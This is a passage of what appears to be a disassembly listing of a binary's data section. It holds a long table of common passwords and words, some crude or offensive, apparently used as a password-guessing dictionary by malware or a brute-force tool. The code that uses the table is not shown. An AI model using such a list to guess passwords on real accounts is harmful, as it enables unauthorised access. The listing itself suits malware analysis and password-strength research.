		dd offset aSheldon	; "sheldon"
		dd offset aShell	; "shell"
		dd offset aSherri	; "sherri"
		dd offset aShift	; "shift"
		dd offset aShirley	; "shirley"
		dd offset aShit		; "shit"
		dd offset aShitpot	; "shitpot"
		dd offset aShiva	; "shiva"
		dd offset aShivers	; "shivers"
		dd offset aShort	; "short"
		dd offset aShuttle	; "shuttle"
		dd offset aSick		; "sick"
		dd offset aSierra	; "sierra"
		dd offset aSignatur	; "signatur"
		dd offset aSilver	; "silver"
		dd offset aSimcity	; "simcity"
		dd offset aSimon	; "simon"
		dd offset aSimple	; "simple"
		dd offset aSimpsons	; "simpsons"
		dd offset aSimulati	; "simulati"
		dd offset aSinger	; "singer"
		dd offset aSingle	; "single"
		dd offset aSite		; "site"
		dd offset aSkull	; "skull"
		dd offset aSlave	; "slave"
		dd offset aSlick	; "slick"
		dd offset aSliders	; "sliders"
		dd offset aSlow		; "slow"
		dd offset aSlut		; "slut"
		dd offset aSmall	; "small"
		dd offset aSmart	; "smart"
		dd offset aSmile	; "smile"
		dd offset aSmiles	; "smiles"
		dd offset aSmooch	; "smooch"
		dd offset aSmother	; "smother"
		dd offset aSmtp		; "smtp"
		dd offset aSmut		; "smut"
		dd offset aSnach	; "snach"
		dd offset aSnafu	; "snafu"
		dd offset aSnake	; "snake"
		dd offset aSnatch	; "snatch"
		dd offset aSnoopy	; "snoopy"
		dd offset aSoap		; "soap"
		dd offset aSocial	; "social"
		dd offset aSocrates	; "socrates"
		dd offset aSodomy	; "sodomy"
		dd offset aSoft		; "soft"
		dd offset aSoftware	; "software"
		dd offset aSomebody	; "somebody"
		dd offset aSondra	; "sondra"
		dd offset aSonia	; "sonia"
		dd offset aSonic	; "sonic"
		dd offset aSonya	; "sonya"
		dd offset aSossina	; "sossina"
		dd offset aSource	; "source"
		dd offset aSouth	; "south"
		dd offset aSpaceshi	; "spaceshi"
		dd offset aSparrows	; "sparrows"
		dd offset aSpear	; "spear"
		dd offset aSpell	; "spell"
		dd offset aSpice	; "spice"
		dd offset aSpider	; "spider"
		dd offset aSpiderma	; "spiderma"
		dd offset aSpit		; "spit"
		dd offset aSpred	; "spred"
		dd offset aSpring	; "spring"
		dd offset aSpringer	; "springer"
		dd offset aSpunk	; "spunk"
		dd offset aSquires	; "squires"
		dd offset aSr71		; "sr71"
		dd offset aStacey	; "stacey"
		dd offset aStaci	; "staci"
		dd offset aStacie	; "stacie"
		dd offset aStacy	; "stacy"
		dd offset aStar		; "star"
		dd offset aStarship	; "starship"
		dd offset aStart	; "start"
		dd offset aStartrek	; "startrek"
		dd offset aStartup	; "startup"
		dd offset aStarwars	; "starwars"
		dd offset aSteak	; "steak"
		dd offset aSteal	; "steal"
		dd offset aSteel	; "steel"
		dd offset aSteph	; "steph"
		dd offset aStephani	; "stephani"
		dd offset aStereo	; "stereo"
		dd offset aSteve	; "steve"
		dd offset aStoneage	; "stoneage"
		dd offset aStoned	; "stoned"
		dd offset aStones	; "stones"
		dd offset aStrange	; "strange"
		dd offset aStrangle	; "strangle"
		dd offset aStratfor	; "stratfor"
		dd offset aStreetfi	; "streetfi"
		dd offset aString	; "string"
		dd offset aStrip	; "strip"
		dd offset aStudent	; "student"
		dd offset aStuttgar	; "stuttgar"
		dd offset aSubscrib	; "subscrib"
		dd offset aSubway	; "subway"
		dd offset aSuccess	; "success"
		dd offset aSuck		; "suck"
		dd offset aSuckmydi	; "suckmydi"
		dd offset aSucks	; "sucks"
		dd offset aSummer	; "summer"
		dd offset aSunday	; "sunday"
		dd offset aSuperman	; "superman"
		dd offset aSuperson	; "superson"
		dd offset aSupersta	; "supersta"
		dd offset aSuperuse	; "superuse"
		dd offset aSupervis	; "supervis"
		dd offset aSupport	; "support"
		dd offset aSupporte	; "supporte"
		dd offset aSurfer	; "surfer"
		dd offset aSurfing	; "surfing"
		dd offset aSusan	; "susan"
		dd offset aSusanne	; "susanne"
		dd offset aSusie	; "susie"
		dd offset aSuzanne	; "suzanne"
		dd offset aSuzie	; "suzie"
		dd offset aSwearer	; "swearer"
		dd offset aSweat	; "sweat"
		dd offset aSwitch	; "switch"
		dd offset aSword	; "sword"
		dd offset aSybil	; "sybil"
		dd offset aSymmetry	; "symmetry"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aTabasco	; "tabasco"
		dd offset aTalk		; "talk"
		dd offset aTall		; "tall"
		dd offset aTamara	; "tamara"
		dd offset aTami		; "tami"
		dd offset aTamie	; "tamie"
		dd offset aTammy	; "tammy"
		dd offset aTangerin	; "tangerin"
		dd offset aTango	; "tango"
		dd offset aTape		; "tape"
		dd offset aTara		; "tara"
		dd offset aTarget	; "target"
		dd offset aTarragon	; "tarragon"
		dd offset aTaylor	; "taylor"
		dd offset aTeacher	; "teacher"
		dd offset aTeam		; "team"
		dd offset aTeapot	; "teapot"
		dd offset aTears	; "tears"
		dd offset aTech		; "tech"
		dd offset aTeen		; "teen"
		dd offset aTeenage	; "teenage"
		dd offset aTelephon	; "telephon"
		dd offset aTelnet	; "telnet"
		dd offset aTemptati	; "temptati"
		dd offset aTennis	; "tennis"
		dd offset aTera		; "tera"
		dd offset aTerminal	; "terminal"
		dd offset aTerminat	; "terminat"
		dd offset aTess		; "tess"
		dd offset aTetris	; "tetris"
		dd offset aText		; "text"
		dd offset aThailand	; "thailand"
		dd offset aTheresa	; "theresa"
		dd offset aThin		; "thin"
		dd offset aThursday	; "thursday"
		dd offset aTiffany	; "tiffany"
		dd offset aTiger	; "tiger"
		dd offset aTime		; "time"
		dd offset aTina		; "tina"
		dd offset aTits		; "tits"
		dd offset aToad		; "toad"
		dd offset aToggle	; "toggle"
		dd offset aToken	; "token"
		dd offset aTokenrin	; "tokenrin"
		dd offset aTomato	; "tomato"
		dd offset aTopograp	; "topograp"
		dd offset aTortoise	; "tortoise"
		dd offset aToxic	; "toxic"
		dd offset aToyota	; "toyota"
		dd offset aTraci	; "traci"
		dd offset aTracie	; "tracie"
		dd offset aTracy	; "tracy"
		dd offset aTrails	; "trails"
		dd offset aTransfer	; "transfer"
		dd offset aTrap		; "trap"
		dd offset aTrapdoor	; "trapdoor"
		dd offset aTree		; "tree"
		dd offset aTrek		; "trek"
		dd offset aTrisha	; "trisha"
		dd offset aTrivial	; "trivial"
		dd offset aTrojan	; "trojan"
		dd offset aTrombone	; "trombone"
		dd offset aTron		; "tron"
		dd offset aTrue		; "true"
		dd offset aTruth	; "truth"
		dd offset aTubas	; "tubas"
		dd offset aTuesday	; "tuesday"
		dd offset aTurn		; "turn"
		dd offset aTuttle	; "tuttle"
		dd offset aUgly		; "ugly"
		dd offset aUmesh	; "umesh"
		dd offset aUncle	; "uncle"
		dd offset aUndo		; "undo"
		dd offset aUnhappy	; "unhappy"
		dd offset aUnicorn	; "unicorn"
		dd offset aUniform	; "uniform"
		dd offset aUniversa	; "universa"
		dd offset aUniverse	; "universe"
		dd offset aUniversi	; "universi"
		dd offset aUnknown_1	; "unknown"
		dd offset aUnlock	; "unlock"
		dd offset aUpload	; "upload"
		dd offset aUranus	; "uranus"
		dd offset aUrchin	; "urchin"
		dd offset aUrsula	; "ursula"
		dd offset aUsenet	; "usenet"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUsmc		; "usmc"
		dd offset aUtil		; "util"
		dd offset aUtility	; "utility"
		dd offset aUucp		; "uucp"
		dd offset aVagina	; "vagina"
		dd offset aValerie	; "valerie"
		dd offset aVampire	; "vampire"
		dd offset aVasant	; "vasant"
		dd offset aVenus	; "venus"
		dd offset aVeronica	; "veronica"
		dd offset aVertigo	; "vertigo"
		dd offset aVicky	; "vicky"
		dd offset aVictor	; "victor"
		dd offset aVideo	; "video"
		dd offset aVideogam	; "videogam"
		dd offset aVillage	; "village"
		dd offset aVirgin	; "virgin"
		dd offset aVirginia	; "virginia"
		dd offset aVirus	; "virus"
		dd offset aVisitor	; "visitor"
		dd offset aVisual	; "visual"
		dd offset aVisualba	; "visualba"
		dd offset aVodka	; "vodka"
		dd offset aWaco		; "waco"
		dd offset aWard		; "ward"
		dd offset aWarez	; "warez"
		dd offset aWarfare	; "warfare"
		dd offset aWargames	; "wargames"
		dd offset aWarp		; "warp"
		dd offset aWarren	; "warren"
		dd offset aWasp		; "wasp"
		dd offset aWatchwor	; "watchwor"
		dd offset aWater	; "water"
		dd offset aWave		; "wave"
		dd offset aWebpage	; "webpage"
		dd offset aWednesda	; "wednesda"
		dd offset aWeed		; "weed"
		dd offset aWeenie	; "weenie"
		dd offset aWell		; "well"
		dd offset aWendi	; "wendi"
		dd offset aWendy	; "wendy"
		dd offset aWerewolf	; "werewolf"
		dd offset aWest		; "west"
		dd offset aWestern	; "western"
		dd offset aWhatever	; "whatever"
		dd offset aWhatnot	; "whatnot"
		dd offset aWhisky	; "whisky"
		dd offset aWhite	; "white"
		dd offset aWhiting	; "whiting"
		dd offset aWhitney	; "whitney"
		dd offset aWholesal	; "wholesal"
		dd offset aWhore	; "whore"
		dd offset aWill		; "will"
		dd offset aWilliam	; "william"
		dd offset aWilliams	; "williams"
		dd offset aWillie	; "willie"
		dd offset aWilma	; "wilma"
		dd offset aWindows	; "windows"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinston	; "winston"
		dd offset aWired	; "wired"
		dd offset aWisconsi	; "wisconsi"
		dd offset aWiseass	; "wiseass"
		dd offset aWithin	; "within"
		dd offset aWizard	; "wizard"
		dd offset aWolf		; "wolf"
		dd offset aWolverin	; "wolverin"
		dd offset aWoman	; "woman"
		dd offset aWombat	; "wombat"
		dd offset aWomen	; "women"
		dd offset aWood		; "wood"
		dd offset aWoodwind	; "woodwind"
		dd offset aWord		; "word"
		dd offset aWordperf	; "wordperf"
		dd offset aWorf		; "worf"
		dd offset aWork		; "work"
		dd offset aWorm		; "worm"
		dd offset aWormwood	; "wormwood"
		dd offset aWwii		; "wwii"
		dd offset aWyoming	; "wyoming"
		dd offset aXena		; "xena"
		dd offset aXfer		; "xfer"
		dd offset aXman		; "xman"
		dd offset aXmen		; "xmen"
		dd offset aXmodem	; "xmodem"
		dd offset aXray		; "xray"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYaco		; "yaco"
		dd offset aYang		; "yang"
		dd offset aYankee	; "yankee"
		dd offset aYellow	; "yellow"
		dd offset aYellowst	; "yellowst"
		dd offset aYolanda	; "yolanda"
		dd offset aYosemite	; "yosemite"
		dd offset aYoung	; "young"
		dd offset aZebra	; "zebra"
		dd offset aZeitgeis	; "zeitgeis"
		dd offset aZiggy	; "ziggy"
		dd offset aZimmerma	; "zimmerma"
		dd offset aZmodem	; "zmodem"
		dd offset aZombie	; "zombie"
		dd offset aZulu		; "zulu"
		dd offset a00000000	; "00000000"
		dd offset aTester	; "tester"
		dd offset aTestin	; "testin"
		dd offset aRoss		; "Ross"
		dd offset aRosco	; "Rosco"
		dd offset aRoscop	; "RoscoP"
		dd offset aRoscopcoltrane ; "RoscoPColtrane"
		dd offset aLol		; "lol"
		dd offset aD00d		; "d00d"
		dd offset aDudette	; "dudette"
		dd offset aDud3		; "dud3"
		dd offset aAl3x		; "Al3x"
		dd offset aAlexander	; "Alexander"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aWileecoyote	; "wileecoyote"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindose	; "windose"
		dd offset aBilly	; "billy"
		dd offset aM		; "M$"
		dd offset aMs		; "MS"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindows98	; "windows98"
		dd offset aWindows95	; "windows95"
		dd offset aWindozexp	; "windozexp"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindoze95	; "windoze95"
		dd offset aWh0r3	; "wh0r3"
		dd offset aHo		; "ho"
		dd offset aWh0re	; "wh0re"
		dd offset aHax		; "hax"
		dd offset aHaxing	; "haxing"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aAda		; "ada"
		dd offset aAlbatross	; "albatross"
		dd offset aAlf		; "alf"
		dd offset aAma		; "ama"
		dd offset aAmorphous	; "amorphous"
		dd offset aAmy		; "amy"
		dd offset aAndromache	; "andromache"
		dd offset aAnn		; "ann"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAsd		; "asd"
		dd offset aAsm		; "asm"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aBeethoven	; "beethoven"
		dd offset aBicameral	; "bicameral"
		dd offset aBob		; "bob"
		dd offset aBsd		; "bsd"
		dd offset aCad		; "cad"
		dd offset aCampanile	; "campanile"
		dd offset aCat		; "cat"
		dd offset aCatherine	; "catherine"
		dd offset aChemistry	; "chemistry"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aCommrades	; "commrades"
		dd offset aCornelius	; "cornelius"
		dd offset aDeb		; "deb"
		dd offset aDesperate	; "desperate"
		dd offset aDiscovery	; "discovery"
		dd offset aDog		; "dog"
		dd offset aDos		; "dos"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEiderdown	; "eiderdown"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEnterprise	; "enterprise"
		dd offset aEstablish	; "establish"
		dd offset aExtension	; "extension"
		dd offset aFoolproof	; "foolproof"
		dd offset aForesight	; "foresight"
		dd offset aFun		; "fun"
		dd offset aGnu		; "gnu"
		dd offset aHal		; "hal"
		dd offset aHappening	; "happening"
		dd offset aIbm		; "ibm"
		dd offset aImbroglio	; "imbroglio"
		dd offset aInnocuous	; "innocuous"
		dd offset aJen		; "jen"
		dd offset aJoy		; "joy"
		dd offset aKey		; "key"
		dd offset aKim		; "kim"
		dd offset aLamination	; "lamination"
		dd offset aLee		; "lee"
		dd offset aLiz		; "liz"
		dd offset aMacintosh	; "macintosh"
		dd offset aMgr		; "mgr"
		dd offset aMit		; "mit"
		dd offset aNet		; "net"
		dd offset aNew		; "new"
		dd offset aNutrition	; "nutrition"
		dd offset aOceanography	; "oceanography"
		dd offset aPad		; "pad"
		dd offset aPam		; "pam"
		dd offset aPercolate	; "percolate"
		dd offset aPersimmon	; "persimmon"
		dd offset aPolynomial	; "polynomial"
		dd offset aPondering	; "pondering"
		dd offset aPrinceton	; "princeton"
		dd offset aProfessor	; "professor"
		dd offset aPub		; "pub"
		dd offset aRachmaninoff	; "rachmaninoff"
		dd offset aRje		; "rje"
		dd offset aRochester	; "rochester"
		dd offset aSal		; "sal"
		dd offset aSheffield	; "sheffield"
		dd offset aSignature	; "signature"
		dd offset aStephanie	; "stephanie"
		dd offset aStratford	; "stratford"
		dd offset aStuttgart	; "stuttgart"
		dd offset aSun		; "sun"
		dd offset aSuperstage	; "superstage"
		dd offset aSuperuser	; "superuser"
		dd offset aSupported	; "supported"
		dd offset aSys		; "sys"
		dd offset aTangerine	; "tangerine"
		dd offset aTelephone	; "telephone"
		dd offset aTemptation	; "temptation"
		dd offset aTopography	; "topography"
		dd offset aTty		; "tty"
		dd offset aWholesale	; "wholesale"
		dd offset aWilliamsburg	; "williamsburg"
		dd offset aWisconsin	; "wisconsin"
		dd offset aXyz		; "xyz"
		dd offset aYellowstone	; "yellowstone"
		dd offset aZap		; "zap"
		dd offset aZimmerman	; "zimmerman"
		dd offset byte_43C80C
		dd 0
dword_4313B4	dd 10h			; DATA XREF: sub_40BE75+72w
					; sub_40EE72+B6Er ...
aZimmerman	db 'zimmerman',0        ; DATA XREF: ___:004313A8o
		align 4
aZap		db 'zap',0              ; DATA XREF: ___:004313A4o
aYellowstone	db 'yellowstone',0      ; DATA XREF: ___:004313A0o
aXyz		db 'xyz',0              ; DATA XREF: ___:0043139Co
aWisconsin	db 'wisconsin',0        ; DATA XREF: ___:00431398o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: ___:00431394o
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: ___:00431390o
		align 10h
aTty		db 'tty',0              ; DATA XREF: ___:0043138Co
aTopography	db 'topography',0       ; DATA XREF: ___:00431388o
		align 10h
aTemptation	db 'temptation',0       ; DATA XREF: ___:00431384o
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: ___:00431380o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: ___:0043137Co
		align 4
aSys		db 'sys',0              ; DATA XREF: ___:00431378o
aSupported	db 'supported',0        ; DATA XREF: ___:00431374o
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: ___:00431370o
		align 10h
aSuperstage	db 'superstage',0       ; DATA XREF: ___:0043136Co
		align 4
aSun		db 'sun',0              ; DATA XREF: ___:00431368o
aStuttgart	db 'stuttgart',0        ; DATA XREF: ___:00431364o
		align 4
aStratford	db 'stratford',0        ; DATA XREF: ___:00431360o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: ___:0043135Co
		align 4
aSignature	db 'signature',0        ; DATA XREF: ___:00431358o
		align 10h
aSheffield	db 'sheffield',0        ; DATA XREF: ___:00431354o
		align 4
aSal		db 'sal',0              ; DATA XREF: ___:00431350o
aRochester	db 'rochester',0        ; DATA XREF: ___:0043134Co
		align 4
aRje		db 'rje',0              ; DATA XREF: ___:00431348o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: ___:00431344o
		align 10h
aPub		db 'pub',0              ; DATA XREF: ___:00431340o
aProfessor	db 'professor',0        ; DATA XREF: ___:0043133Co
		align 10h
aPrinceton	db 'princeton',0        ; DATA XREF: ___:00431338o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: ___:00431334o
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: ___:00431330o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: ___:0043132Co
		align 10h
aPercolate	db 'percolate',0        ; DATA XREF: ___:00431328o
		align 4
aPam		db 'pam',0              ; DATA XREF: ___:00431324o
aPad		db 'pad',0              ; DATA XREF: ___:00431320o
aOceanography	db 'oceanography',0     ; DATA XREF: ___:0043131Co
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: ___:00431318o
		align 10h
aNew		db 'new',0              ; DATA XREF: ___:00431314o
aNet		db 'net',0              ; DATA XREF: ___:00431310o
aMit		db 'mit',0              ; DATA XREF: ___:0043130Co
aMgr		db 'mgr',0              ; DATA XREF: ___:00431308o
aMacintosh	db 'macintosh',0        ; DATA XREF: ___:00431304o
		align 4
aLiz		db 'liz',0              ; DATA XREF: ___:00431300o
aLee		db 'lee',0              ; DATA XREF: ___:004312FCo
aLamination	db 'lamination',0       ; DATA XREF: ___:004312F8o
		align 10h
aKim		db 'kim',0              ; DATA XREF: ___:004312F4o
aJoy		db 'joy',0              ; DATA XREF: ___:004312ECo
aJen		db 'jen',0              ; DATA XREF: ___:004312E8o
aInnocuous	db 'innocuous',0        ; DATA XREF: ___:004312E4o
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: ___:004312E0o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:004312DCo
aHappening	db 'happening',0        ; DATA XREF: ___:004312D8o
		align 4
aHal		db 'hal',0              ; DATA XREF: ___:004312D4o
aGnu		db 'gnu',0              ; DATA XREF: ___:004312D0o
aFun		db 'fun',0              ; DATA XREF: ___:004312CCo
aForesight	db 'foresight',0        ; DATA XREF: ___:004312C8o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: ___:004312C4o
		align 4
aExtension	db 'extension',0        ; DATA XREF: ___:004312C0o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: ___:004312BCo
		align 10h
aEnterprise	db 'enterprise',0       ; DATA XREF: ___:004312B8o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: ___:004312B4o
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: ___:004312B0o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: ___:004312ACo
		align 10h
aDos		db 'dos',0              ; DATA XREF: ___:004312A8o
aDog		db 'dog',0              ; DATA XREF: ___:004312A4o
aDiscovery	db 'discovery',0        ; DATA XREF: ___:004312A0o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: ___:0043129Co
		align 10h
aDeb		db 'deb',0              ; DATA XREF: ___:00431298o
aCornelius	db 'cornelius',0        ; DATA XREF: ___:00431294o
		align 10h
aCommrades	db 'commrades',0        ; DATA XREF: ___:00431290o
		align 4
aChristine	db 'christine',0        ; DATA XREF: ___:0043128Co
		align 4
aChristina	db 'christina',0        ; DATA XREF: ___:00431288o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: ___:00431284o
		align 10h
aCatherine	db 'catherine',0        ; DATA XREF: ___:00431280o
		align 4
aCat		db 'cat',0              ; DATA XREF: ___:0043127Co
aCampanile	db 'campanile',0        ; DATA XREF: ___:00431278o
		align 4
aCad		db 'cad',0              ; DATA XREF: ___:00431274o
aBsd		db 'bsd',0              ; DATA XREF: ___:00431270o
aBob		db 'bob',0              ; DATA XREF: ___:0043126Co
aBicameral	db 'bicameral',0        ; DATA XREF: ___:00431268o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: ___:00431264o
		align 10h
aAtmosphere	db 'atmosphere',0       ; DATA XREF: ___:00431260o
		align 4
aAsm		db 'asm',0              ; DATA XREF: ___:0043125Co
aAsd		db 'asd',0              ; DATA XREF: ___:00431258o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: ___:00431254o
		align 4
aAnn		db 'ann',0              ; DATA XREF: ___:00431250o
aAndromache	db 'andromache',0       ; DATA XREF: ___:0043124Co
		align 4
aAmy		db 'amy',0              ; DATA XREF: ___:00431248o
aAmorphous	db 'amorphous',0        ; DATA XREF: ___:00431244o
		align 4
aAma		db 'ama',0              ; DATA XREF: ___:00431240o
aAlf		db 'alf',0              ; DATA XREF: ___:0043123Co
aAlbatross	db 'albatross',0        ; DATA XREF: ___:00431238o
		align 4
aAda		db 'ada',0              ; DATA XREF: ___:00431234o
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: ___:00431230o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: ___:0043122Co
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: ___:00431228o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: ___:00431224o
		align 4
aHax		db 'hax',0              ; DATA XREF: ___:00431220o
aWh0re		db 'wh0re',0            ; DATA XREF: ___:0043121Co
		align 10h
aHo		db 'ho',0               ; DATA XREF: ___:00431218o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: ___:00431214o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: ___:00431210o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: ___:0043120Co
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: ___:00431208o
		align 10h
aWindoze2k	db 'windoze2k',0        ; DATA XREF: ___:00431204o
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: ___:00431200o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: ___:004311FCo
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: ___:004311F8o
		align 10h
aWindowsme	db 'windowsME',0        ; DATA XREF: ___:004311F4o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: ___:004311F0o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: ___:004311ECo
		align 4
aMs		db 'MS',0               ; DATA XREF: ___:004311E8o
		align 4
aM		db 'M$',0               ; DATA XREF: ___:004311E4o
		align 4
aBilly		db 'billy',0            ; DATA XREF: ___:004311E0o
		align 4
aWindose	db 'windose',0          ; DATA XREF: ___:004311DCo
aWindoze	db 'windoze',0          ; DATA XREF: ___:004311D8o
aWindowz	db 'windowz',0          ; DATA XREF: ___:004311D4o
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: ___:004311D0o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: ___:004311CCo
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: ___:004311C8o
		align 10h
aAl3x		db 'Al3x',0             ; DATA XREF: ___:004311C4o
		align 4
aDud3		db 'dud3',0             ; DATA XREF: ___:004311C0o
		align 10h
aDudette	db 'dudette',0          ; DATA XREF: ___:004311BCo
aD00d		db 'd00d',0             ; DATA XREF: ___:004311B8o
		align 10h
aLol		db 'lol',0              ; DATA XREF: ___:004311B4o
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: ___:004311B0o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: ___:004311ACo
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: ___:004311A8o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: ___:004311A4o
		align 4
aTestin		db 'testin',0           ; DATA XREF: ___:004311A0o
		align 4
aTester		db 'tester',0           ; DATA XREF: ___:0043119Co
		align 4
a00000000	db '00000000',0         ; DATA XREF: ___:00431198o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: ___:00431194o
		align 10h
aZombie		db 'zombie',0           ; DATA XREF: ___:00431190o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: ___:0043118Co
		align 10h
aZimmerma	db 'zimmerma',0         ; DATA XREF: ___:00431188o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: ___:00431184o
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: ___:00431180o
		align 10h
aZebra		db 'zebra',0            ; DATA XREF: ___:0043117Co
		align 4
aYoung		db 'young',0            ; DATA XREF: ___:00431178o
		align 10h
aYosemite	db 'yosemite',0         ; DATA XREF: ___:00431174o
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: ___:00431170o
aYellowst	db 'yellowst',0         ; DATA XREF: ___:0043116Co
		align 10h
aYellow		db 'yellow',0           ; DATA XREF: ___:00431168o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: ___:00431164o
		align 10h
aYang		db 'yang',0             ; DATA XREF: ___:00431160o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: ___:0043115Co
		align 10h
aXyzzy		db 'xyzzy',0            ; DATA XREF: ___:00431158o
		align 4
aXray		db 'xray',0             ; DATA XREF: ___:00431154o
		align 10h
aXmodem		db 'xmodem',0           ; DATA XREF: ___:00431150o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: ___:0043114Co
		align 10h
aXman		db 'xman',0             ; DATA XREF: ___:00431148o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: ___:00431144o
		align 10h
aXena		db 'xena',0             ; DATA XREF: ___:00431140o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: ___:0043113Co
aWwii		db 'wwii',0             ; DATA XREF: ___:00431138o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: ___:00431134o
		align 4
aWorm		db 'worm',0             ; DATA XREF: ___:00431130o
		align 4
aWork		db 'work',0             ; DATA XREF: ___:0043112Co
		align 4
aWorf		db 'worf',0             ; DATA XREF: ___:00431128o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: ___:00431124o
		align 4
aWord		db 'word',0             ; DATA XREF: ___:00431120o
		align 10h
aWoodwind	db 'woodwind',0         ; DATA XREF: ___:0043111Co
		align 4
aWood		db 'wood',0             ; DATA XREF: ___:00431118o
		align 4
aWomen		db 'women',0            ; DATA XREF: ___:00431114o
		align 4
aWombat		db 'wombat',0           ; DATA XREF: ___:00431110o
		align 4
aWoman		db 'woman',0            ; DATA XREF: ___:0043110Co
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: ___:00431108o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: ___:00431104o
		align 10h
aWizard		db 'wizard',0           ; DATA XREF: ___:00431100o
		align 4
aWithin		db 'within',0           ; DATA XREF: ___:004310FCo
		align 10h
aWiseass	db 'wiseass',0          ; DATA XREF: ___:004310F8o
aWisconsi	db 'wisconsi',0         ; DATA XREF: ___:004310F4o
		align 4
aWired		db 'wired',0            ; DATA XREF: ___:004310F0o
		align 4
aWinston	db 'winston',0          ; DATA XREF: ___:004310ECo
aWing		db 'wing',0             ; DATA XREF: ___:004310E8o
		align 4
aWine		db 'wine',0             ; DATA XREF: ___:004310E4o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:004310E0o
aWilma		db 'wilma',0            ; DATA XREF: ___:004310DCo
		align 4
aWillie		db 'willie',0           ; DATA XREF: ___:004310D8o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: ___:004310D4o
		align 4
aWilliam	db 'william',0          ; DATA XREF: ___:004310D0o
aWill		db 'will',0             ; DATA XREF: ___:004310CCo
		align 4
aWhore		db 'whore',0            ; DATA XREF: ___:004310C8o
		align 10h
aWholesal	db 'wholesal',0         ; DATA XREF: ___:004310C4o
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: ___:004310C0o
aWhiting	db 'whiting',0          ; DATA XREF: ___:004310BCo
aWhite		db 'white',0            ; DATA XREF: ___:004310B8o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: ___:004310B4o
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: ___:004310B0o
aWhatever	db 'whatever',0         ; DATA XREF: ___:004310ACo
		align 10h
aWestern	db 'western',0          ; DATA XREF: ___:004310A8o
aWest		db 'west',0             ; DATA XREF: ___:004310A4o
		align 10h
aWerewolf	db 'werewolf',0         ; DATA XREF: ___:004310A0o
		align 4
aWendy		db 'wendy',0            ; DATA XREF: ___:0043109Co
		align 4
aWendi		db 'wendi',0            ; DATA XREF: ___:00431098o
		align 4
aWell		db 'well',0             ; DATA XREF: ___:00431094o
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: ___:00431090o
